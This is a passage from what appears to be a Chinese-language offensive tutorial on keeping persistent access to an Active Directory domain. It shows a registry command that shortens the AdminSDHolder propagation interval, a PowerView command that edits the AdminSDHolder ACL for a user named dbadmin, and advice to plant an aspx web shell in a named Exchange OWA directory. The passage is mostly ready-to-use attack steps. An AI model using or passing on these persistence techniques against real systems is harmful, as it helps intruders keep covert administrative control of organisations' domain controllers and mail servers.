- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters,AdminSDProtectFrequency,REG_DWORD
例如修改成等待60秒的命令如下:
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60
dbadmin用户可以直接訪問域控。
刪除AdminSDHolder中指定用户的ACL
刪除用户dbadmin的完全訪問權限,命令如下
Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=rookit,DC=org" -PrincipalIdentity dbadmin -Rights All -Verbose
非常規方法
若域控主機為owa主機,即exchange服務器主機,我們可以在owa目錄下留一個aspx的木馬。用作維持權限。
在如下目錄中加入一個aspx木馬。
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth